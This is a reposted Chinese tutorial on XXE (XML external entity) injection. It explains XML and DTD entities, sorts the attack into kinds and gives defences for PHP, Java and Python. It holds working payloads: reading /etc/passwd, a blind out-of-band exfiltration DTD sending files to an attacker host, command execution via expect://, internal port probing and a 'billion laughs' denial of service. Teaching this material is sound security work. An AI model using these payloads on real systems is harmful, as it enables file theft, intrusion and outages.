淺談XXE攻擊


0×00 介紹

現在越來越多主要的web程序被發現和報告存在XXE(XML External Entity attack)漏洞,比如說facebook、paypal等等。 舉個例子,我們掃一眼這些網站最近獎勵的漏洞,充分證實了前面的說法。盡管XXE漏洞已經存在了很多年,但是它從來沒有獲得它應得的關注度。很多XML的解析器默認是含有XXE漏洞的,這意味着開發人員有責任確保這些程序不受此漏洞的影響。

 

0×01 什么是XXE

簡單來說,XXE就是XML外部實體注入。
我們先分別理解一下注入和外部實體的含義。注入:是指XML數據在傳輸過程中被修改,導致服務器執行了修改后的惡意代碼,從而達到攻擊目的。外部實體:則是指攻擊者通過利用外部實體聲明部分來對XML數據進行修改、插入惡意代碼。所以XXE就是指XML數據在傳輸過程中利用外部實體聲明部分的“SYSTEM”關鍵詞導致XML解析器可以從本地文件或者遠程URI中讀取受保護的數據。

有XXE漏洞的標志性函數為simplexml_load_string()

 

0x02 XML基礎

 

1.什么是XML

XML是可擴展的標記語言(eXtensible Markup Language),設計用來進行數據的傳輸和存儲。

 

2.XML的文檔結構

 

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

 

 1 <!--XML聲明-->
 2 <?xml version="1.0"?> 
 3 <!--文檔類型定義-->
 4 <!DOCTYPE note [  <!--定義此文檔是 note 類型的文檔-->
 5 <!ELEMENT note (to,from,heading,body)>  <!--定義note元素有四個元素-->
 6 <!ELEMENT to (#PCDATA)>     <!--定義to元素為”#PCDATA”類型-->
 7 <!ELEMENT from (#PCDATA)>   <!--定義from元素為”#PCDATA”類型-->
 8 <!ELEMENT head (#PCDATA)>   <!--定義head元素為”#PCDATA”類型-->
 9 <!ELEMENT body (#PCDATA)>   <!--定義body元素為”#PCDATA”類型-->
10 ]]]>
11 <!--文檔元素-->
12 <note>
13 <to>Dave</to>
14 <from>Tom</from>
15 <head>Reminder</head>
16 <body>You are a good man</body>
17 </note>

 

3.什么是DTD

文檔類型定義(DTD)可定義合法的XML文檔構建模塊。它使用一系列合法的元素來定義文檔的結構。DTD 可被執行地聲明於 XML 文檔中,也可作為一個外部引用。

(1)內部的 DOCTYPE 聲明

<!DOCTYPE 根元素 [元素聲明]>

(2)外部文檔聲明

<!DOCTYPE 根元素 SYSTEM ”文件名”>

 

4.什么是DTD實體

(1)內部實體聲明

<!ENTITY 實體名稱 ”實體的值”>

(2)外部實體聲明

<!ENTITY 實體名稱 SYSTEM ”URI”>

(3)參數實體聲明

<!ENTITY %實體名稱 ”實體的值”>或者<!ENTITY %實體名稱 SYSTEM ”URI”>

三種實體聲明方式使用區別:

參數實體用%實體名稱申明,引用時也用%實體名稱;

其余實體直接用實體名稱申明,引用時用&實體名稱。

參數實體只能在DTD中申明,DTD中引用;

其余實體只能在DTD中申明,可在xml文檔中引用。

 

0x03 XXE分類

下面我們對XXE進行一下分類,按照構造外部實體聲明的方法不同可分為

(1)直接通過DTD外部實體聲明

(2)通過DTD文檔引入外部DTD文檔中的外部實體聲明

(3)通過DTD外部實體聲明引入外部DTD文檔中的外部實體聲明。

按照XXE回顯信息不同可分為正常回顯XXE、報錯XXE和Blind XXE。

 

3.1 按照構造外部實體聲明的方法不同

1.直接通過DTD外部實體聲明

 

1 <?xml version="1.0"?>
2     <!DOCTYPE Quan[
3     <!ENTITY f SYSTEM "file:///etc/passwd">
4 ]>
5 
6 <hhh>&f;<hhh>

 

 

2.通過DTD文檔引入外部DTD文檔中的外部實體聲明

XML文件內容:

 

1 <?xml version="1.0"?>
2     <!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
3 
4 <hhh>&f;<hhh>

 

DTD文件內容:

 

1 <!ENTITY f SYSTEM "file:///etc/passwd">

 

 

3.通過DTD外部實體聲明引入外部DTD文檔中的外部實體聲明

 

1 <?xml version="1.0"?>
2 <!DOCTYPE Quan[
3 <!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
4 ]>
5 
6 <hhh>&f;<hhh>

 

Quan.dtd的外部實體聲明內容:

 

1 <!ENTITY f SYSTEM "file:///etc/passwd">

 

 

3.2 按照輸出信息不同

1.正常回顯XXE

正常回顯XXE是最傳統的XXE攻擊,在利用過程中服務器會直接回顯信息,可直接完成XXE攻擊。

 

2.報錯XXE

報錯XXE是回顯XXE攻擊的一種特例,它與正常回顯XXE的不同在於它在利用過程中服務器回顯的是錯誤信息,可根據錯誤信息的不同判斷是否注入成功。

 

3.盲注XXE

當服務器沒有回顯,我們可以選擇使用Blind XXE。與前兩種XXE不同之處在於Blind XXE無回顯信息,可組合利用file協議來讀取文件或http協議和ftp協議來查看日志。Blind XXE主要使用了DTD約束中的參數實體和內部實體。在XML基礎有提到過參數實體的定義,這里就不再做詳細講解。參數實體是一種只能在DTD中定義和使用的實體,一般引用時使用%作為前綴。而內部實體是指在一個實體中定義的另一個實體,也就是嵌套定義。

 

1 <?xml version="1.0"?>
2 <!DOCTYPE Note[
3 <!ENTITY % file SYSTEM "file:///C:/1.txt">
4 <!ENTITY % remote SYSTEM "http://攻擊者主機IP/Quan.xml">
5 %remote;
6 %all;
7 ]>
8 
9 <root>&send;</root>

 

Quan.xml內容:

 

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

 

%remote引入外部XML文件到這個 XML 中,%all檢測到send實體,在 root 節點中引入 send 實體,便可實現數據轉發。利用過程:第3行,存在漏洞的服務器會讀出file的內容(c:/1.txt),通過Quan.xml帶外通道發送給攻擊者服務器上的1.php,1.php做的事情就是把讀取的數據保存到本地的1.txt中,完成Blind XXE攻擊。

 

0x04 XXE危害

當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。

 

1.任意文件讀取

PHP中可以通過FILE協議、HTTP協議和FTP協議讀取文件,還可利用PHP偽協議。

 

1 <?xml version="1.0"?>
2     <!DOCTYPE Quan[
3     <!ENTITY f SYSTEM "file:///etc/passwd">
4 ]>
5 
6 <hhh>&f;<hhh>

 

XML在各語言下支持的協議有:

 

 

2.執行系統命令

這種情況很少發生,但在配置不當/開發內部應用情況下(PHP expect模塊被加載到了易受攻擊的系統或處理XML的內部應用程序上),攻擊者能夠通過XXE執行代碼。

 

1 <?xml version="1.0"?>
2     <!DOCTYPE Quan[
3     <!ENTITY f SYSTEM "expect://id">
4 ]>
5 
6 <hhh>&f;<hhh>

 

 

3.探測內網端口

可根據返回信息內容判斷該端口是否打開。若測試端口返回“Connection refused”則可以知道該端口是closed的,否則為open。

1 <?xml version="1.0" encoding="utf-8"?>
2 <!DOCTYPE note[
3   <!ENTITY Quan SYSTEM "http://192.168.246.136:80">
4 ]>
5 
6 <reset><login>&Quan;</login><secret>Any bugs?</secret></reset>

 

4.拒絕服務攻擊

 1 <?xml version="1.0"?>
 2 <!DOCTYPE lolz [
 3 <!ENTITY lol "lol">
 4 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 5 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 6 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 7 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 8 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 9 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
10 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
11 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
12 ]>
13 <lolz>&lol9;</lolz>

上面樣例代碼1中的XXE漏洞攻擊就是著名的’billion laughs’(https://en.wikipedia.org/wiki/Billion_laughs)攻擊,該攻擊通過創建一項遞歸的 XML 定義,在內存中生成十億個”Ha!”字符串,從而導致 DDoS 攻擊。原理為:構造惡意的XML實體文件耗盡可用內存,因為許多XML解析器在解析XML文檔時傾向於將它的整個結構保留在內存中,解析非常慢,造成了拒絕服務器攻擊。

 

0x05 如何防御XXE

方案一、使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
 
方案二、過濾用戶提交的XML數據
關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM